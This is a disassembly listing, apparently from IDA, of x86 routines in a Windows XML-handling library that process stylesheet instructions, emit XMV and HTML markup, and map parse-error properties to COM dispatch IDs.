loc_69B83EEA: ; CODE XREF: sub_69B83E6C+60j
cmp [esi+76h], bl
mov dword ptr [esi+54h], 1
jz short loc_69B83F24
cmp [edi+18h], ebx
jnz short loc_69B83F5F
push 0Eh ; nChar
push offset aXmlStylesheet ; "xml-stylesheet"
push dword ptr [edi+10h] ; lpStr1
call ebp ; StrCmpNIW
test eax, eax
jz short loc_69B83F1B
push 0Eh ; nChar
push offset aXmlStyleshee_0 ; "xml:stylesheet"
push dword ptr [edi+10h] ; lpStr1
call ebp ; StrCmpNIW
test eax, eax
jnz short loc_69B83F5F
loc_69B83F1B: ; CODE XREF: sub_69B83E6C+9Dj
mov dword ptr [esi+54h], 4
jmp short loc_69B83F5F
; ---------------------------------------------------------------------------
loc_69B83F24: ; CODE XREF: sub_69B83E6C+88j
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B83F3A
push ebx ; int
push offset aXmvXmvpiOmn ; "<XMV:XMVPI omn='"
call sub_69B82200
loc_69B83F3A: ; CODE XREF: sub_69B83E6C+C1j
push edi
mov ecx, esi
call sub_69B83293
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B83F58
push ebx ; int
push offset asc_69B84250 ; "' "
call sub_69B82200
loc_69B83F58: ; CODE XREF: sub_69B83E6C+DFj
mov dword ptr [esi+54h], 2
loc_69B83F5F: ; CODE XREF: sub_69B83E6C+7Cj
; sub_69B83E6C+8Dj ...
mov [esi+71h], bl
jmp loc_69B8417E
; ---------------------------------------------------------------------------
loc_69B83F67: ; CODE XREF: sub_69B83E6C+52j
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B83F7D
push ebx ; int
push offset dword_69B295A8 ; lpString
call sub_69B82200
loc_69B83F7D: ; CODE XREF: sub_69B83E6C+104j
push edi
mov ecx, esi
call sub_69B83293
mov byte ptr [esi+71h], 1
mov [esi+72h], bl
jmp loc_69B8417E
; ---------------------------------------------------------------------------
loc_69B83F91: ; CODE XREF: sub_69B83E6C+4Bj
cmp [esi+6Ch], ebx
jnz loc_69B8417E
cmp [esi+54h], ebx
jnz loc_69B8417E
cmp [esi+72h], bl
jz short loc_69B83FCA
lea edx, [esi+74h]
cmp [edx], bx
jnz short loc_69B83FCA
mov ax, [edi+20h]
mov ecx, esi
mov [edx], ax
call sub_69B821E5
test eax, eax
jz short loc_69B83FCA
push 1 ; int
push edx ; lpString
call sub_69B82200
loc_69B83FCA: ; CODE XREF: sub_69B83E6C+13Aj
; sub_69B83E6C+142j ...
push edi
mov ecx, esi
call sub_69B83293
jmp loc_69B8417E
; ---------------------------------------------------------------------------
loc_69B83FD7: ; CODE XREF: sub_69B83E6C+45j
sub eax, 0Eh
jz short loc_69B8404C
dec eax
dec eax
jz short loc_69B84014
dec eax
jz short loc_69B83FF5
dec eax
jnz loc_69B8417E
cmp [esi+76h], bl
jnz loc_69B8417E
jmp short loc_69B83FCA
; ---------------------------------------------------------------------------
loc_69B83FF5: ; CODE XREF: sub_69B83E6C+175j
cmp [esi+76h], bl
jnz loc_69B8417E
cmp [esi+6Ch], ebx
jnz loc_69B8417E
push edi ; BSTR
mov ecx, esi
call sub_69B830D0
jmp loc_69B8417E
; ---------------------------------------------------------------------------
loc_69B84014: ; CODE XREF: sub_69B83E6C+172j
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B8402A
push ebx ; int
push offset asc_69B2A520 ; "<!--"
call sub_69B82200
loc_69B8402A: ; CODE XREF: sub_69B83E6C+1B1j
push edi
mov ecx, esi
call sub_69B83293
mov ecx, esi
call sub_69B821E5
test eax, eax
jz loc_69B8417E
push ebx
push offset asc_69B296A4 ; "-->"
jmp loc_69B84177
; ---------------------------------------------------------------------------
loc_69B8404C: ; CODE XREF: sub_69B83E6C+16Ej
mov eax, [esi+54h]
cmp eax, 4
jnz short loc_69B8409F
cmp dword ptr [esi+58h], 2
jz short loc_69B84067
push dword ptr [edi+14h]
mov ecx, esi
push dword ptr [edi+10h]
call sub_69B83984
loc_69B84067: ; CODE XREF: sub_69B83E6C+1ECj
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B8407D
push ebx ; int
push offset aHtmlLinkRelSty ; "<html:LINK rel=\"stylesheet\" "
call sub_69B82200
loc_69B8407D: ; CODE XREF: sub_69B83E6C+204j
push edi
mov ecx, esi
call sub_69B83293
mov ecx, esi
call sub_69B821E5
test eax, eax
jz loc_69B8417E
push ebx
push offset asc_69B270DC ; ">"
jmp loc_69B84177
; ---------------------------------------------------------------------------
loc_69B8409F: ; CODE XREF: sub_69B83E6C+1E6j
cmp eax, 2
jnz short loc_69B840DC
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B840BA
push ebx ; int
push offset aOmv ; "omv='"
call sub_69B82200
loc_69B840BA: ; CODE XREF: sub_69B83E6C+241j
push edi
mov ecx, esi
call sub_69B83293
mov ecx, esi
call sub_69B821E5
test eax, eax
jz loc_69B8417E
push ebx
push offset aXmvXmvpi ; "'></XMV:XMVPI>"
jmp loc_69B84177
; ---------------------------------------------------------------------------
loc_69B840DC: ; CODE XREF: sub_69B83E6C+236j
cmp eax, 3
jz loc_69B8417E
cmp eax, 1
jz loc_69B8417E
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B84104
push ebx ; int
push offset aXmvXmvcd ; "<XMV:XMVCD>"
call sub_69B82200
loc_69B84104: ; CODE XREF: sub_69B83E6C+28Bj
push edi
mov ecx, esi
call sub_69B831E9
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B8417E
push ebx
push offset aXmvXmvcd_0 ; "</XMV:XMVCD>"
jmp short loc_69B84177
; ---------------------------------------------------------------------------
loc_69B8411F: ; CODE XREF: sub_69B83E6C+3Cj
; sub_69B83E6C+59j
cmp dword ptr [esi+54h], 3
jz short loc_69B8417E
cmp [esi+72h], bl
jz short loc_69B84140
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B84140
push 1 ; int
lea eax, [esi+74h]
push eax ; lpString
call sub_69B82200
loc_69B84140: ; CODE XREF: sub_69B83E6C+2BCj
; sub_69B83E6C+2C7j
mov ecx, esi
mov byte ptr [esi+72h], 1
mov [esi+74h], bx
call sub_69B821E5
test eax, eax
jz short loc_69B8415E
push ebx ; int
push offset dword_69B841B0 ; lpString
call sub_69B82200
loc_69B8415E: ; CODE XREF: sub_69B83E6C+2E5j
push edi
mov ecx, esi
call sub_69B83293
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B8417E
push ebx ; int
push offset dword_69B2959C ; lpString
loc_69B84177: ; CODE XREF: sub_69B83E6C+1DBj
; sub_69B83E6C+22Ej ...
mov ecx, esi
call sub_69B82200
loc_69B8417E: ; CODE XREF: sub_69B83E6C+33j
; sub_69B83E6C+66j ...
dec [esp+10h+arg_0]
jnz loc_69B83E8E
pop edi
pop ebp
loc_69B8418A: ; CODE XREF: sub_69B83E6C+Bj
cmp [esi+72h], bl
jz short loc_69B841A5
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B841A5
push 1 ; int
lea eax, [esi+74h]
push eax ; lpString
call sub_69B82200
loc_69B841A5: ; CODE XREF: sub_69B83E6C+321j
; sub_69B83E6C+32Cj
mov [esi+72h], bl
pop esi
xor eax, eax
pop ebx
retn 8
sub_69B83E6C endp
; ---------------------------------------------------------------------------
align 10h
; const WCHAR dword_69B841B0
dword_69B841B0 dd 20h aXmvXmvcd_0: ; DATA XREF: sub_69B83E6C+2ACo
dw 3Ch
unicode 0, </XMV:XMVCD>
dw 3Eh
unicode 0, <>,0
align 10h
; const WCHAR aXmvXmvcd
aXmvXmvcd: ; DATA XREF: sub_69B83E6C+28Eo
dw 3Ch
unicode 0, <XMV:XMVCD>
dw 3Eh
unicode 0, <>,0
aXmvXmvpi: ; DATA XREF: sub_69B83E6C+266o
dw 27h
dw 3Eh
dw 3Ch
unicode 0, </XMV:XMVPI>
dw 3Eh
unicode 0, <>,0
align 4
; const WCHAR aOmv
aOmv: ; DATA XREF: sub_69B83E6C+244o
unicode 0, <omv=>
dw 27h
unicode 0, <>,0
; const WCHAR aHtmlLinkRelSty
aHtmlLinkRelSty: ; DATA XREF: sub_69B83E6C+207o
dw 3Ch
unicode 0, <html:LINK rel="stylesheet" >,0
align 10h
; const WCHAR asc_69B84250
asc_69B84250: ; DATA XREF: sub_69B83E6C+E2o
dw 27h
unicode 0, < >,0
align 4
; const WCHAR aXmvXmvpiOmn
aXmvXmvpiOmn: ; DATA XREF: sub_69B83E6C+C4o
dw 3Ch
unicode 0, <XMV:XMVPI omn=>
dw 27h
unicode 0, <>,0
align 4
; const WCHAR aXmlStyleshee_0
aXmlStyleshee_0: ; DATA XREF: sub_69B83E6C+A1o
unicode 0, <xml:stylesheet>,0
align 4
; const WCHAR aXmlStylesheet
aXmlStylesheet: ; DATA XREF: sub_69B83E6C+91o
unicode 0, <xml-stylesheet>,0
; =============== S U B R O U T I N E =======================================
sub_69B842BA proc near ; DATA XREF: .text:69B1476Co
push 10h
push offset dword_69B84360
call sub_69B19C5C
xor ebx, ebx
mov [ebp-1Ch], ebx
mov esi, [ebp+8]
mov eax, [ebp+0Ch]
mov [esi+4Ch], eax
mov [ebp-4], ebx
mov edi, [ebp+10h]
mov [esi+7Ch], edi
lea eax, [ebp-1Ch]
push eax
mov ecx, esi
call sub_69B82243
mov [ebp-20h], eax
cmp eax, ebx
jz short loc_69B842FA
push dword ptr [ebp-1Ch]
push eax
mov ecx, esi
call sub_69B837DF
loc_69B842FA: ; CODE XREF: sub_69B842BA+33j
cmp [esi+77h], bl
jz short loc_69B84313
mov eax, [esi+34h]
mov ecx, [eax]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push edi
lea edx, [esi+10h]
push edx
push eax
call dword ptr [ecx+18h]
loc_69B84313: ; CODE XREF: sub_69B842BA+43j
mov eax, [esi+7Ch]
cmp eax, ebx
jge short loc_69B84330
cmp [esi+28h], ebx
jnz short loc_69B84330
cmp [esi+80h], bl
jnz short loc_69B84330
push ebx
push eax
mov ecx, esi
call sub_69B837DF
loc_69B84330: ; CODE XREF: sub_69B842BA+5Ej
; sub_69B842BA+63j ...
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B84348
; ---------------------------------------------------------------------------
loc_69B84336: ; DATA XREF: .text:69B84364o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B8433F: ; DATA XREF: .text:69B84368o
mov esp, [ebp-18h]
or dword ptr [ebp-4], 0FFFFFFFFh
xor ebx, ebx
loc_69B84348: ; CODE XREF: sub_69B842BA+7Aj
mov eax, [ebp-1Ch]
cmp eax, ebx
jz short loc_69B84355
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B84355: ; CODE XREF: sub_69B842BA+93j
mov eax, [ebp+10h]
call sub_69B1853C
retn 14h
sub_69B842BA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dword_69B84360 dd 0FFFFFFFFh dd offset loc_69B84336
dd offset loc_69B8433F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8436C proc near ; DATA XREF: .text:69B14770o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
mov esi, [ebp+arg_0]
xor ebx, ebx
cmp [esi+2Ch], ebx
mov [esi+4Ch], eax
jz short loc_69B8438C
mov eax, 80004005h
jmp loc_69B844E5
; ---------------------------------------------------------------------------
loc_69B8438C: ; CODE XREF: sub_69B8436C+14j
push edi
mov edi, [ebp+arg_10]
mov eax, [edi]
xor ecx, ecx
cmp [eax+20h], ebx
setnz cl
cmp byte ptr [esi+77h], 0
mov [ebp+var_4], ecx
jz short loc_69B843BF
mov eax, [esi+34h]
mov ecx, [eax]
push edi
push [ebp+arg_C]
lea edx, [esi+10h]
push [ebp+arg_8]
push edx
push eax
call dword ptr [ecx+1Ch]
cmp eax, ebx
jl loc_69B844E4
loc_69B843BF: ; CODE XREF: sub_69B8436C+35j
movzx eax, word ptr [ebp+arg_C]
cmp eax, ebx
mov [ebp+arg_8], ebx
jle loc_69B84486
loc_69B843CE: ; CODE XREF: sub_69B8436C+112j
mov eax, [ebp+arg_8]
mov eax, [edi+eax*4]
mov edi, [eax+14h]
mov ebx, [eax+10h]
mov eax, [eax+4]
xor cl, cl
dec eax
cmp eax, 17h ; switch 24 cases
ja loc_69B84471 ; default
; jumptable 69B843F0 cases 5,10,11,14,22
movzx eax, ds:byte_69B844FB[eax]
jmp ds:off_69B844EB[eax*4] ; switch jump
loc_69B843F7: ; DATA XREF: .text:off_69B844EBo
mov cl, 1 ; jumptable 69B843F0 cases 0-4,6-9,16,18,21,23
loc_69B843F9: ; CODE XREF: sub_69B8436C+84j
; DATA XREF: .text:off_69B844EBo
test edi, edi ; jumptable 69B843F0 case 19
jz short loc_69B84471 ; default
; jumptable 69B843F0 cases 5,10,11,14,22
and [ebp+arg_0], 0
test cl, cl
jz short loc_69B84431
xor eax, eax
mov ax, [ebx]
push eax
call sub_69B31987
test eax, eax
jz short loc_69B84438
mov [ebp+arg_0], 1
jmp short loc_69B84431
; ---------------------------------------------------------------------------
loc_69B8441D: ; CODE XREF: sub_69B8436C+C8j
mov eax, [ebp+arg_0]
movzx eax, word ptr [ebx+eax*2]
push eax
call sub_69B31967
test eax, eax
jz short loc_69B84438
inc [ebp+arg_0]
loc_69B84431: ; CODE XREF: sub_69B8436C+97j
; sub_69B8436C+AFj
cmp [ebp+arg_0], edi
jb short loc_69B8441D
jmp short loc_69B84471 ; default
; jumptable 69B843F0 cases 5,10,11,14,22
; ---------------------------------------------------------------------------
loc_69B84438: ; CODE XREF: sub_69B8436C+A6j
; sub_69B8436C+C0j
push 0C00CE505h
jmp short loc_69B84467
; ---------------------------------------------------------------------------
loc_69B8443F: ; CODE XREF: sub_69B8436C+84j
; DATA XREF: .text:off_69B844EBo
and [ebp+arg_0], 0 ; jumptable 69B843F0 cases 12,13,15,17,20
test edi, edi
jbe short loc_69B84471 ; default
; jumptable 69B843F0 cases 5,10,11,14,22
loc_69B84447: ; CODE XREF: sub_69B8436C+F2j
xor eax, eax
mov ax, [ebx]
push eax
call sub_69B319A7
test eax, eax
jz short loc_69B84462
inc [ebp+arg_0]
inc ebx
inc ebx
cmp [ebp+arg_0], edi
jb short loc_69B84447
jmp short loc_69B84471 ; default
; jumptable 69B843F0 cases 5,10,11,14,22
; ---------------------------------------------------------------------------
loc_69B84462: ; CODE XREF: sub_69B8436C+E8j
push 0C00CE508h
loc_69B84467: ; CODE XREF: sub_69B8436C+D1j
push [ebp+arg_4]
mov ecx, esi
call sub_69B8284E
loc_69B84471: ; CODE XREF: sub_69B8436C+77j
; sub_69B8436C+84j ...
movzx eax, word ptr [ebp+arg_C] ; default
; jumptable 69B843F0 cases 5,10,11,14,22
inc [ebp+arg_8]
cmp [ebp+arg_8], eax
mov edi, [ebp+arg_10]
jl loc_69B843CE
xor ebx, ebx
loc_69B84486: ; CODE XREF: sub_69B8436C+5Cj
cmp byte ptr [esi+78h], 0
jz short loc_69B844D9
mov eax, [edi]
mov eax, [eax+4]
dec eax
jz short loc_69B844BB
sub eax, 3
jz short loc_69B844A4
sub eax, 0Eh
jnz short loc_69B844D9
mov byte ptr [esi+51h], 1
jmp short loc_69B844D9
; ---------------------------------------------------------------------------
loc_69B844A4: ; CODE XREF: sub_69B8436C+12Bj
cmp byte ptr [esi+51h], 0
jz short loc_69B844D9
push 0C00CE513h
push [ebp+arg_4]
mov ecx, esi
call sub_69B8284E
jmp short loc_69B844D9
; ---------------------------------------------------------------------------
loc_69B844BB: ; CODE XREF: sub_69B8436C+126j
cmp [ebp+var_4], ebx
mov byte ptr [esi+78h], 0
mov [esi+6Ch], ebx
mov [esi+68h], ebx
jz short loc_69B844D9
push edi
push [ebp+arg_C]
mov ecx, esi
call sub_69B82FEB
cmp eax, ebx
jl short loc_69B844E4
loc_69B844D9: ; CODE XREF: sub_69B8436C+11Ej
; sub_69B8436C+130j ...
push edi
push [ebp+arg_C]
mov ecx, esi
call sub_69B83E6C
loc_69B844E4: ; CODE XREF: sub_69B8436C+4Dj
; sub_69B8436C+16Bj
pop edi
loc_69B844E5: ; CODE XREF: sub_69B8436C+1Bj
pop esi
pop ebx
leave
retn 14h
sub_69B8436C endp
; ---------------------------------------------------------------------------
off_69B844EB dd offset loc_69B843F7 ; DATA XREF: sub_69B8436C+84r
dd offset loc_69B8443F ; jump table for switch statement
dd offset loc_69B843F9
dd offset loc_69B84471
byte_69B844FB db 0, 0, 0, 0 ; DATA XREF: sub_69B8436C+7Dr
db 0, 3, 0, 0 ; indirect table for switch statement
db 0, 0, 3, 3
db 1, 1, 3, 1
db 0, 1, 0, 2
db 1, 0, 3, 0
; ---------------------------------------------------------------------------
loc_69B84513: ; DATA XREF: .text:off_69B1EA68o
mov eax, [esp+8]
push ebx
push esi
push edi
push 4
pop edx
mov ecx, edx
mov edi, offset stru_69B1CA6C
mov esi, eax
xor ebx, ebx
repe cmpsd
jz short loc_69B84566
mov ecx, edx
mov edi, offset dword_69B2AFE0
mov esi, eax
xor ebx, ebx
repe cmpsd
jz short loc_69B84566
mov ecx, edx
mov edi, (offset dword_69B2B088+8)
mov esi, eax
xor ebx, ebx
repe cmpsd
jz short loc_69B84566
mov esi, eax
mov ecx, edx
mov edi, (offset loc_69B2B07C+4)
xor eax, eax
repe cmpsd
jz short loc_69B84566
mov eax, [esp+18h]
and [eax], ebx
mov eax, 80004002h
jmp short loc_69B84572
; ---------------------------------------------------------------------------
loc_69B84566: ; CODE XREF: .text:69B8452Aj
; .text:69B84539j ...
mov eax, [esp+10h]
mov ecx, [esp+18h]
mov [ecx], eax
xor eax, eax
loc_69B84572: ; CODE XREF: .text:69B84564j
pop edi
pop esi
pop ebx
retn 0Ch
; =============== S U B R O U T I N E =======================================
sub_69B84578 proc near ; DATA XREF: .text:69B1EA04o
; .text:69B1EC18o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
add eax, 4
mov [ecx], eax
xor eax, eax
retn 8
sub_69B84578 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8458A proc near ; DATA XREF: .text:69B1E8C4o
arg_8 = dword ptr 10h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push esi
mov esi, ds:StrCmpW
push edi
mov edi, [ebp+arg_8]
push offset aErrorline ; "errorLine"
push dword ptr [edi] ; psz1
call esi ; StrCmpW
test eax, eax
jnz short loc_69B845B0
mov eax, [ebp+arg_14]
mov dword ptr [eax], 3E9h
jmp short loc_69B8460E
; ---------------------------------------------------------------------------
loc_69B845B0: ; CODE XREF: sub_69B8458A+19j
push offset aErrorcharacter ; "errorCharacter"
push dword ptr [edi] ; psz1
call esi ; StrCmpW
test eax, eax
jnz short loc_69B845C8
mov eax, [ebp+arg_14]
mov dword ptr [eax], 3EAh
jmp short loc_69B8460E
; ---------------------------------------------------------------------------
loc_69B845C8: ; CODE XREF: sub_69B8458A+31j
push offset aErrorcode ; "errorCode"
push dword ptr [edi] ; psz1
call esi ; StrCmpW
test eax, eax
jnz short loc_69B845E0
mov eax, [ebp+arg_14]
mov dword ptr [eax], 3EBh
jmp short loc_69B8460E
; ---------------------------------------------------------------------------
loc_69B845E0: ; CODE XREF: sub_69B8458A+49j
push offset aErrormessage ; "errorMessage"
push dword ptr [edi] ; psz1
call esi ; StrCmpW
test eax, eax
jnz short loc_69B845F8
mov eax, [ebp+arg_14]
mov dword ptr [eax], 3ECh
jmp short loc_69B8460E
; ---------------------------------------------------------------------------
loc_69B845F8: ; CODE XREF: sub_69B8458A+61j
push offset aErrorurl ; "errorUrl"
push dword ptr [edi] ; psz1
call esi ; StrCmpW
test eax, eax
jnz short loc_69B84612
mov eax, [ebp+arg_14]
mov dword ptr [eax], 3EDh
loc_69B8460E: ; CODE XREF: sub_69B8458A+24j
; sub_69B8458A+3Cj ...
xor eax, eax
jmp short loc_69B84617
; ---------------------------------------------------------------------------
loc_69B84612: ; CODE XREF: sub_69B8458A+79j
mov eax, 80020003h
loc_69B84617: ; CODE XREF: sub_69B8458A+86j
pop edi
pop esi
pop ebp
retn 18h
sub_69B8458A endp
; ---------------------------------------------------------------------------
align 10h
; const WCHAR aErrorcode
aErrorcode: ; DATA XREF: sub_69B8458A:loc_69B845C8o
; .data:off_69B99BC0o
unicode 0, <errorCode>,0
; const WCHAR aErrorurl
aErrorurl: ; DATA XREF: sub_69B8458A:loc_69B845F8o
unicode 0, <errorUrl>,0
align 4
; const WCHAR aErrormessage
aErrormessage: ; DATA XREF: sub_69B8458A:loc_69B845E0o
unicode 0, <errorMessage>,0
align 4
; const WCHAR aErrorcharacter
aErrorcharacter: ; DATA XREF: sub_69B8458A:loc_69B845B0o
unicode 0, <errorCharacter>,0
align 4
; const WCHAR aErrorline
aErrorline: ; DATA XREF: sub_69B8458A+Eo
unicode 0, <errorLine>,0
; =============== S U B R O U T I N E =======================================
sub_69B84698 proc near ; DATA XREF: .text:69B1E8C8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_18 = dword ptr 1Ch
mov ecx, [esp+arg_4]
mov eax, [esp+arg_0]
push esi
mov esi, [esp+4+arg_18]
and dword ptr [esi+8], 0
sub ecx, 3E9h
mov word ptr [esi], 1
jz short loc_69B84702
dec ecx
jz short loc_69B846F8
dec ecx
jz short loc_69B846ED
dec ecx
jz short loc_69B846D3
dec ecx
jz short loc_69B846C9
mov eax, 80020003h
jmp short loc_69B8470F
; ---------------------------------------------------------------------------
loc_69B846C9: ; CODE XREF: sub_69B84698+28j
mov word ptr [esi], 8
mov eax, [eax+4]
jmp short loc_69B846DB
; ---------------------------------------------------------------------------
loc_69B846D3: ; CODE XREF: sub_69B84698+25j
mov word ptr [esi], 8
mov eax, [eax+10h]
loc_69B846DB: ; CODE XREF: sub_69B84698+39j
test eax, eax
jnz short loc_69B846E4
mov eax, offset word_69B26224
loc_69B846E4: ; CODE XREF: sub_69B84698+45j
push eax ; OLECHAR *
call SysAllocString
jmp short loc_69B8470A
; ---------------------------------------------------------------------------
loc_69B846ED: ; CODE XREF: sub_69B84698+22j
and dword ptr [esi+8], 0
mov word ptr [esi], 3
jmp short loc_69B8470D
; ---------------------------------------------------------------------------
loc_69B846F8: ; CODE XREF: sub_69B84698+1Fj
mov word ptr [esi], 3
mov eax, [eax+0Ch]
jmp short loc_69B8470A
; ---------------------------------------------------------------------------
loc_69B84702: ; CODE XREF: sub_69B84698+1Cj
mov word ptr [esi], 3
mov eax, [eax+8]
loc_69B8470A: ; CODE XREF: sub_69B84698+53j
; sub_69B84698+68j
mov [esi+8], eax
loc_69B8470D: ; CODE XREF: sub_69B84698+5Ej
xor eax, eax
loc_69B8470F: ; CODE XREF: sub_69B84698+2Fj
pop esi
retn 24h
sub_69B84698 endp
; =============== S U B R O U T I N E =======================================
sub_69B84713 proc near ; CODE XREF: sub_69B849B3+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
mov esi, ecx
and dword ptr [esi+14h], 0
push edi
lea edi, [esi+0Ch]
and dword ptr [edi], 0
push edi
mov [esi+8], eax
mov eax, [esp+0Ch+arg_4]
push offset dword_69B2B0E0
mov dword ptr [esi], offset off_69B2A880
mov dword ptr [esi+4], 1
mov ecx, [eax]
push eax
call dword ptr [ecx+10h]
test eax, eax
jl short loc_69B84756
mov edi, [edi]
mov eax, [edi]
lea ecx, [esi+10h]
push ecx
push esi
push edi
call dword ptr [eax+14h]
loc_69B84756: ; CODE XREF: sub_69B84713+34j
pop edi
mov eax, esi
pop esi
retn 8
sub_69B84713 endp
; =============== S U B R O U T I N E =======================================
sub_69B8475D proc near ; DATA XREF: .text:off_69B2A880o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_4]
push 4
pop ecx
mov esi, offset stru_69B1CA6C
xor eax, eax
repe cmpsd
jz short loc_69B8478A
mov edi, [esp+8+arg_4]
push 4
pop ecx
mov esi, offset dword_69B2B0E0
xor eax, eax
repe cmpsd
jz short loc_69B8478A
mov eax, 80004002h
jmp short loc_69B84799
; ---------------------------------------------------------------------------
loc_69B8478A: ; CODE XREF: sub_69B8475D+12j
; sub_69B8475D+24j
mov eax, [esp+8+arg_0]
mov ecx, [esp+8+arg_8]
mov [ecx], eax
inc dword ptr [eax+4]
xor eax, eax
loc_69B84799: ; CODE XREF: sub_69B8475D+2Bj
pop edi
pop esi
retn 0Ch
sub_69B8475D endp
; =============== S U B R O U T I N E =======================================
sub_69B8479E proc near ; DATA XREF: .text:69B2A884o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
inc dword ptr [eax+4]
mov eax, [eax+4]
retn 4
sub_69B8479E endp
; =============== S U B R O U T I N E =======================================
sub_69B847AB proc near ; DATA XREF: .text:69B2A898o
xor eax, eax
cmp [ecx+14h], eax
jz short locret_69B847B8
cmp [ecx+18h], al
jz short locret_69B847B8
inc eax
locret_69B847B8: ; CODE XREF: sub_69B847AB+5j
; sub_69B847AB+Aj
retn
sub_69B847AB endp
; =============== S U B R O U T I N E =======================================
sub_69B847B9 proc near ; DATA XREF: .text:69B2A89Co
push esi
lea esi, [ecx+0Ch]
cmp dword ptr [esi], 0
jz short loc_69B847D3
mov eax, [esi]
push dword ptr [ecx+10h]
mov edx, [eax]
push eax
call dword ptr [edx+18h]
push esi
call sub_69B17230
loc_69B847D3: ; CODE XREF: sub_69B847B9+7j
pop esi
retn
sub_69B847B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B847D5(int, LPCWSTR lpStr1)
sub_69B847D5 proc near ; DATA XREF: .text:69B2A88Co
arg_0 = dword ptr 8
lpStr1 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+lpStr1], 0FFFFFDF3h
jnz short loc_69B84826
and [ebp+lpStr1], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+8]
mov ecx, [eax]
lea edx, [ebp+lpStr1]
push edx
push eax
call dword ptr [ecx+58h]
test eax, eax
jl short loc_69B84825
push 8 ; nChar
push offset aComplete ; "complete"
push [ebp+lpStr1] ; lpStr1
call ds:StrCmpNIW ; StrCmpNIW
test eax, eax
jnz short loc_69B8481C
mov ecx, esi
call sub_69B8483E
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+1Ch]
loc_69B8481C: ; CODE XREF: sub_69B847D5+37j
push [ebp+lpStr1] ; BSTR
call SysFreeString
loc_69B84825: ; CODE XREF: sub_69B847D5+23j
pop esi
loc_69B84826: ; CODE XREF: sub_69B847D5+Aj
xor eax, eax
pop ebp
retn 8
sub_69B847D5 endp
; ---------------------------------------------------------------------------
; const WCHAR aComplete
aComplete: ; DATA XREF: sub_69B847D5+27o
unicode 0, <complete>,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8483E proc near ; CODE XREF: sub_69B847D5+3Bp
var_34 = byte ptr -34h
pvarg = VARIANTARG ptr -24h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push edi
mov edi, ecx
xor ebx, ebx
cmp [edi+8], ebx
jz loc_69B84922
cmp [edi+14h], ebx
jz loc_69B84922
push esi
mov esi, VariantInit
lea eax, [ebp+pvarg]
push eax ; pvarg
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_C], ebx
mov [ebp+var_10], ebx
mov [ebp+var_14], ebx
call esi ; VariantInit
lea eax, [ebp+var_34]
push eax ; pvarg
call esi ; VariantInit
mov eax, [edi+8]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
test eax, eax
pop esi
jl short loc_69B848EB
mov eax, [ebp+var_4]
cmp eax, ebx
jz short loc_69B848EB
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push eax
call dword ptr [ecx+10h]
test eax, eax
jl short loc_69B848EB
mov eax, [ebp+var_8]
cmp eax, ebx
jz short loc_69B848EB
mov ecx, [eax]
lea edx, [ebp+var_C]
push edx
push offset nullsub_2
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_69B848EB
mov eax, [ebp+var_C]
cmp eax, ebx
jz short loc_69B848EB
mov ecx, [edi+14h]
lea edx, [ebp+var_34]
push edx
lea edx, [ebp+pvarg]
push edx
push ebx
push 28h
push offset dword_69B84928
mov word ptr [ebp+pvarg.anonymous_0], 0Dh
mov dword ptr [ebp+pvarg.anonymous_0+8], ecx
mov ecx, [eax]
push eax
call dword ptr [ecx+10h]
loc_69B848EB: ; CODE XREF: sub_69B8483E+54j
; sub_69B8483E+5Bj ...
lea eax, [ebp+var_34]
push eax ; pvarg
call VariantClear
lea eax, [ebp+var_4]
push eax
call sub_69B17230
lea eax, [ebp+var_8]
push eax
call sub_69B17230
lea eax, [ebp+var_C]
push eax
call sub_69B17230
lea eax, [ebp+var_10]
push eax
call sub_69B17230
lea eax, [ebp+var_14]
push eax
call sub_69B17230
loc_69B84922: ; CODE XREF: sub_69B8483E+Fj
; sub_69B8483E+18j
pop edi
pop ebx
leave
retn
sub_69B8483E endp
; ---------------------------------------------------------------------------
align 4
dword_69B84928 dd 0F38BC242h, 11D1B950h, 0C0001889h, 36C8C24Fh
; DATA XREF: sub_69B8483E+99o
